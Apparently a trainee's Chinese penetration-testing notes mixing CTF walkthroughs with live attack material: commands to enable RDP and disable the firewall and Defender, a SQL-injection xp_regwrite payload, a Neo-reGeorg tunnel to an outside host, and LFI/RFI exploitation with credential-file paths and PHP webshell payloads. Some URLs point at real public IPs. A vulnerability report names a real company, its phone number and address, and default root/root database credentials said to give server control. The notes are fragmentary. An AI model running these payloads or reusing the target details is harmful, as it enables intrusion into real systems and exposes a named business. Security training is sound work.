# 启用远程桌面
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

# 允许通过防火墙
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

确保账户密码永不过期(避免登录失败)
wmic useraccount where "name='RemoteUser'" set PasswordExpires=False

从另一台电脑远程连接
在控制端电脑上,按 Win + R,输入:mstsc
在“计算机”栏输入目标电脑的 IP 地址 或 PC 名称;
点击“连接”,输入刚创建的用户名(RemoteUser)和密码;
成功登录后即可完全控制目标电脑。

开启远程桌面直接登录!但失败…..

win+r –> 运行 —> mstsc 命令,打开远程桌面连接程序!
远程桌面连接失败的原因
(1)目标主机的远程桌面服务是关闭的
(2)目标主机的远程桌面服务端口(默认:3389)改成33893
(3)目标主机处于内网中,连接IP地址是路由器的IP地址!

0xd3d –> calc –> 3389
公有IP地址:
私有IP地址:A:10.0.0.0-10.255.255.255
B:172.16.0.0-172.31.255.255
C:192.168.0.0.-192.168.255.255

python neoreg.py generate -k 123@Admin
使用客户端文件连接服务端并搭建好代理通道!
python neoreg.py -u http://437t8126e9.qicp.vip/wagwbgwcg.php -k 123@Admin

开3389

注册表开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
查询系统是否允许3389远程连接:
>REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
1表示关闭,0表示开启
查看远程连接的端口:
>REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
本机开启3389远程连接的方法
通过cmd
>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
>REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
通过reg文件
内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
导入注册表:
regedit /s a.reg

NetSh启动服务

1
2
3
>netsh firewall set service remoteadmin enable 
>netsh firewall set service remotedesktop enable
>netsh firewall set opmode disable 关闭防火墙

注入开启

1
2
.asp?id=100;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
注:修改连接端口重启后生效

MSF开启
#run post/windows/manage/enable_rdp

WMIC开启

1
>wmic /node:192.168.1.2 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

防火墙放行

1
2
3
4
5
6
7
8
9
10
11
12
13
允许进站
如果系统未配置过远
程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:
>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
>netsh firewall set portopening TCP 3389 ENABLE
防火墙关闭
>netsh firewall set opmode mode=disable
>netsh advfirewall show allprofiles查看状态
>netsh advfirewall set allprofiles state off
>sc stop windefend
>sc delete windefend
PS> Set-MpPreference -DisableRealtimeMonitoring 1
PS> Set-MpPreference -Disablearchivescanning $true

文件包含漏洞

文件包含
http://challenge-1c1221c094a5ac01.sandbox.ctfhub.com:10800/index.php?file=shell.txt
参考:
https://blog.csdn.net/mooyuan/article/details/151591062

远程文件包含参考
http://challenge-7fd43d7265d26c96.sandbox.ctfhub.com:10800/?file=data://text/plain,%3C%3Fphp%20readfile(%22/fl%22.%22ag%22)%3B%3F%3E
参考:
https://blog.csdn.net/weixin_68416970/article/details/141001678

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞;

文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端;在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在;
Python —> import time,os
PHP —> include 1.php

高危函数
include()/include_once(如果该文件中的代码已经被包含,则不会再次包含)
找不到被包含的文件时只产生警告,脚本将继续执行
require()/require_once(如果该文件中的代码已经被包含,则不会再次包含)
找不到被包含的文件时会产生致命错误,并停止脚本

  • require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件 ,而 include() 只有程序执行到该函数时才调用 。
  • 其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、 fopen()、file()
  • 文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!

本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !
包含条件: 用户可以动态控制变量!
包含常用路径
Web应用文件

1
2
3
4
5
6
7
8
9
10
11
12
# 日志文件包含GetShell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

# 读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php

系统配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息

# Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
1
2
3
4
5
6
7
# Payload
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
/fi_local.php?filename=../../../../etc/passwd&submit=提交查询

# 相关靶场
http://120.48.17.204:10003/ //Linux主机
http://1.31.160.2:49154/ //Linux主机

包含图片GetShell
寻找网站上传点并把 php 恶意代码文件改成 jpg 上传到网站上在本地包含引入恶意代码,当文件被引入后代码就被执行;
步骤一:通过文件上传模块上传一张GIF图片并获取其地址…如下
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.gif
步骤二:在文件包含页面进行文件包含…并GetShell
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2.gif&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
步骤三:讲如下代码写入到图片马中并再次上传,并进行文件包含操作…

1
2
3
4
5
6
7
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
# 图片地址
http://120.48.17.204:10003/vul/unsafeupload/uploads/size.jpg

# 包含执行
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/size.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

步骤四:进行文件包含后会在漏洞的当前目录下产生shell.php后面文件访问并连接….

包含日志GetShell

中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;
在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是 windows 环境下是可以权限是允许的;

1
2
3
4
5
6
7
8
9
10
11
12
# 获取Apache日志路径
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf

# 日志文件位置
phpstudy_pro\Extensions\Apache2.4.39\logs
/var/log/apache2/access.log

# Apache产生的日志文件
/Apache/logs/
-access.log #记录前端用户的访问日志
-error.log #记录Apache运行报错的记录

步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;

1
2
3
4
5
6
7
8
9
10
11
# 漏洞代码
<?php
include $_GET['file'];
?>

# 日志文件
C:\phpStudy\PHPTutorial\Apache\logs\access.log

# 遇到问题
发现logs文件夹里面只有error.log且没有access.log修改httpd.
#CustomLog "logs/access.log" common 去掉前面这个#号

步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把<>编码,可以使用burp绕过;
步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;

PHP伪协议
PHP 伪协议事实上就是支持的协议与封装协议

远程文件包含(RFI)

当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件; —> phpinfo() l.php/info.php

步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问…
步骤二:进行文件包含并在当前漏洞该文件目录下获取shell.php文件并连接测试…

文件包含限制绕过

方法一:00截断
条件:

  • magic_quotes_gpc = Off
  • php 版本 < 5.3.4
    获取 phpinfo.php 文件
    payload:?action=phpinfo.php%00

方法二:路径长度截断
操作系统存在最大路径长度的限制。
可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

Payload:./././././…/
str_replase(“./“,””,$url)

方法三:点号截断
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断
条件:windows 系统,点号需要长于 197
payload:……….

方法四:问号绕过
payload:?action=http://192.168.152.143/phpinfo.php?

方法五:#绕过
payload:?action=http://192.168.152.143/phpinfo.php%23

方法六:空格绕过

1
2
3
4
payload:
?action=http://192.168.152.143/phpinfo.php%20
?action=http://192.168.152.143/phpinfo.php+
?action=http://192.168.152.143/phpinfo.php abc

三:挖掘防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 挖掘姿势
inurl:/.php?incluede=
inurl:/.PHP?file=
inurl:/.php?page=
# 易受本地文件包含 (LFI) 漏洞影响的前 25 个参数的列表
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
1
2
3
4
5
6
# 漏洞防护
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php');
5. 设置 allow_url_include 为 Off ;
1
2
3
4
5
6
7
# 今日作业
1.完成Tomato靶机打靶!
# 面试必问?
1.什么是文件包含漏洞?
2.造成文件包含漏洞的高危函数,函数之间的区别!
3.文件包含的伪协议都有哪些?至少6个...
4.简述下文件包含漏洞的利用姿势与防护?

第五天

题目类型

Web
Web类题目大部分情况下和网、Web、HTTP等相关技能有关。主要考察选手对于Web攻防的一些知识技巧。诸如SQL注入、XSS、代码执行、代码审计等等都是很常见的考点。一般情况下Web题目只会给出一个能够访问的URL。部分题目会给出附件

Pwn
Pwn类题目重点考察选手对于二进制漏洞的挖掘和利用能力,其考点也通常在堆栈溢出、格式化漏洞、UAF、Double Free等常见二进制漏洞上。选手需要根据题目中给出的二进制可执行文件进行逆向分析,找出其中的漏洞并进行利用,编写对应的漏洞攻击脚本(Exploit),进而对主办方给出的远程服务器进行攻击并获取flag通常来说Pwn类题目给出的远程服务器信息为nc IP_ADDRESS PORT,例如nc 1.2.3.4 4567这种形式,表示在1.2.3.4这个IP的4567端口上运行了该题目

Reverse
Re类题目考察选手逆向工程能力。题目会给出一个可执行二进制文件,有些时候也可能是Android的APK安装包。选手需要逆向给出的程序,分析其程序工作原理。最终根据程序行为等获得flag

Crypto
Crypto类题目考察选手对密码学相关知识的了解程度,诸如RSA、AES、DES等都是密码学题目的常客。有些时候也会给出一个加密脚本和密文,根据加密流程逆推出明文。

Misc
Misc意为杂项,即不包含在以上分类的题目都会放到这个分类。题目会给出一个附件。选手下载该附件进行分析,最终得出flag
常见的题型有图片隐写、视频隐写、文档隐写、流量分析、协议分析、游戏、IoT相关等等。五花八门,种类繁多。

web前置 Http协议

  1. 请求方法
    使用 Burp Suite 抓包并修改 Method
    将首行的 GET 改为 CTFHUB

  2. 302跳转
    使用 Burp Suite 抓包并修改
    修改Referer: http://challenge-b232b18f85402a24.sandbox.ctfhub.com:10800/index.php

  3. Cookie
    使用 Burp Suite 抓包
    修改Cookie: admin=1

  4. 基础认证
    随便输入 admin / 123456
    使用 Burp Suite 抓包登录页
    用 Base64 解码 YWRtaW46MTIzNDU2 → 得到 admin:123456 → 验证机制
    发送请求到 Intruder

设置爆破位置(Positions)
选中 Authorization 头中的 Base64 字符串(如 YWRtaW46MTIzNDU2)
点击 “Add §” → 变成 §YWRtaW46MTIzNDU2§

加载密码字典(Payloads)
Payload type: Simple list
Load 密码字典文件(如 pass.txt)

添加 Payload Processing
点击 “Payload Processing” → Add
第一步:添加前缀 → 输入 admin:
第二步:编码 → Base64 encode

开始爆破(Start Attack)
找到 200 的那行 → 查看 Response → 获取 flag!

  1. HTTP响应包源代码查看
    就是F12看响应的源代码

上午学习

dirsearch-master的使用方法(基于Python开源)
dirsearch是一个扫描网站的目录和文件的命令行工具,并可以使用多线程快速扫描目标站点。
可以通过自定义字典进行扫描,同时支持正则表达式和自定义扩展名。
下载地址:https://github.com/maurosoria/dirsearch
安装dirsearch所需要的依赖:pip install -r requirements.txt

  1. 使用自带全量字典扫描单个url的目录
    python dirsearch.py -u http://222.93.xx.xx:8090 -e*
  2. 使用自带字典扫描单个url的目录
    python dirsearch.py -u http://222.93.xx.xx:8090
    python dirsearch.py -u http://123.56.252.12:7789
  3. 使用指定字典扫描批量url的目录
    python d:\dirsearch-master\dirsearch.py -l D:\dirsearch-master\url\url.txt -w D:\dirsearch-master\db\01-Spring.txt -i 200

简单的使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//默认方式扫描单个url
python dirsearch.py -u https://target

//使用文件拓展名为php和txt以及js的字典扫描目标
python dirsearch.py -e php,txt,js -u https://target

//采用指定路径的wordlist且拓展名为php,txt,js的字典扫描目标url
python dirsearch.py -e php,txt,js -u https://target -w /path/to/wordlist

//采用递归扫描
python dirsearch.py -e php,txt,js -u https://target -r

//采用递归扫描递归层数为三层
python dirsearch.py -e php,txt,js -u https://target -r -R 3

扫描结果记录位置
dirsearch-master\reports\

默认的字典位置
diresearch-master/db/dicc.txt

Dirsearch语法介绍
常用命令:
–version 显示dirsearch的版本
-h –help 帮助提示
-u –url 指定网址
-e 指定网站语言
-w 指定字典
-r 递归目录(跑出目录后,继续跑目录下面的目录)
-l –url-list=FILE   目标url文件路径
-i 保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)
-x 排除的响应状态码(以逗号分隔,支持指定范围)  如(-x 301,500-599)

使用案例:
python d:\dirsearch-master\dirsearch.py -l D:\dirsearch-master\url\url.txt -w D:\dirsearch-master\db\01-http-or-https.txt -i 200

默认方式扫描单个url
python dirsearch.py -u http://123.56.252.12:7789

信息泄露

  1. 目录遍历
    0/flag_in_here/2/?file=../f

  2. phpinfo
    访问 http://xxx/phpinfo.php
    按 Ctrl + F 搜索 DOCUMENT_ROOT
    /phpinfo.php/var/www/html/flag
    Ctrl + F 搜索 ctfhub

  3. 备份文件下载

  • 网站源码
    使用 PowerShell 命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$url = "http://challenge-8ef57e737f8d7076.sandbox.ctfhub.com:10800"
$files = @("web.zip", "www.zip", "backup.zip", "source.zip", "web.tar.gz", "www.tar.gz", "backup.tar", "index.php.bak")

foreach ($file in $files) {
try {
$response = Invoke-WebRequest -Uri "$url/$file" -Method Head -TimeoutSec 5 -ErrorAction SilentlyContinue
$code = $response.StatusCode
} catch {
$code = $_.Exception.Response.StatusCode.value__
if (-not $code) { $code = 404 }
}
Write-Host "$file → $code"
if ($code -eq 200) {
Write-Host "✅ FOUND: $file" -ForegroundColor Green
}
}

http://challenge-8ef57e737f8d7076.sandbox.ctfhub.com:10800/flag_196582157.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$url = "http://challenge-55ef29324ed8fb34.sandbox.ctfhub.com:10800"
$files = @("index.php.bak", "index.php~", ".index.php.swp", "index.bak")

foreach ($f in $files) {
try {
$code = (curl.exe -s -o NUL -w "%{http_code}" "$url/$f").Trim()
Write-Host "$f → $code"
if ($code -eq "200") {
Write-Host "✅ FOUND! Downloading..." -ForegroundColor Green
curl.exe -o "$f" "$url/$f"
}
} catch {
Write-Host "$f → Error"
}
}

漏洞提交

http://icp.sudafeng.com –> 存在漏洞的网站
www.sudafeng.com –> WEB服务器 –> 南京速达蜂互联网科技有限公司
sudafeng.com –》 搜索一级域名的所有的二级域!
域名组成:
顶级域:.com 商业网站 .net 网络中心 .org 国际组织 .gov 政府部门 .edu 教育机构
一级域名:baidu.com sougou.com
二级域名:www.baidu.com www.sougou.com

www.baidu.com –> WEB服务器:123.123.123.123
email.baidu.com –> 邮件服务器:234.234.234.234
查看企业单位信息:企查查 / 爱企查 / 风鸟

#漏洞评级-CVSS
严重:能够获取服务器/集群的控制权限 - 绝密资料的数据库控制权限
高危:能够获取服务器的控制权限
中危:WEBshell
低危:未授权

单位信息

公司名称:南京速达蜂互联网科技有限公司
公司官网:www.sudafeng.com
联系方式:15724895376
注册资本:200万元
公司地址:南京市雨花台区龙飞路12号锦都大厦503A室
漏洞地址:http://icp.sudafeng.com/

南京速达蜂互联网科技有限公司-MySQL数据库-存在指令漏洞导致GetShell
http://angranlvyi.cn

经利用目标网站提供的数据库连接检测功能进行安全测试,发现其数据库账户使用了默认口令,可借此成功完成身份认证。能够GetShell并获取服务器的控制权限,存在严重的安全配置疏漏。

步骤一:访问官网的二级域名发现icp.xiaofeixiangwh.cn,经测试网页功能点发现存在Mysq数据库的默认口令!
#用户名:root
#密码:root
步骤二:通过目录扫描发现存在Phpmyadmin的数据库管理程序,进行登录连接,成功如下!
http://icp.sudafeng.com/phpmyadmin/

公司名称:河南青年报刊社有限公司
公司官网:www.sudafeng.com
联系方式:0371-63389081
注册资本:1000万元
公司地址:河南自贸试验区郑州片区(郑东)祥盛街27号出版产业园C1座3楼
漏洞地址:http://icp.sudafeng.com/

第六天

AIGC

CTF

第七天

第八天

1
2
3
4
5
6
7
8
# 官方网站
https://cobaltstrike.com/

# 官方文档
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm#_Toc65482705

# Cs使用手册
https://wbglil.gitbook.io/cobalt-strike''

title=”锁群管理系统”

Set-Cookie: username=%e7%ae%a1%e7%90%86%e5%91%98; path=/
Set-Cookie: code=admin; path=/
Set-Cookie: power=1; path=/
Set-Cookie: powerName=%e8%b6%85%e7%ba%a7%e7%ae%a1%e7%90%86%e5%91%98; path=/
X-Powered-By: ASP.NET
Date: Sun, 04 Jan 2026 08:37:44 GMT
Connection: close
Content-Length: 1

0

title=”通达OA网络智能办公系统”

http://60.204.207.36:82/upload/cg.png

http://60.204.207.36:82/zhuye.php?filename=../../upload/cg.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2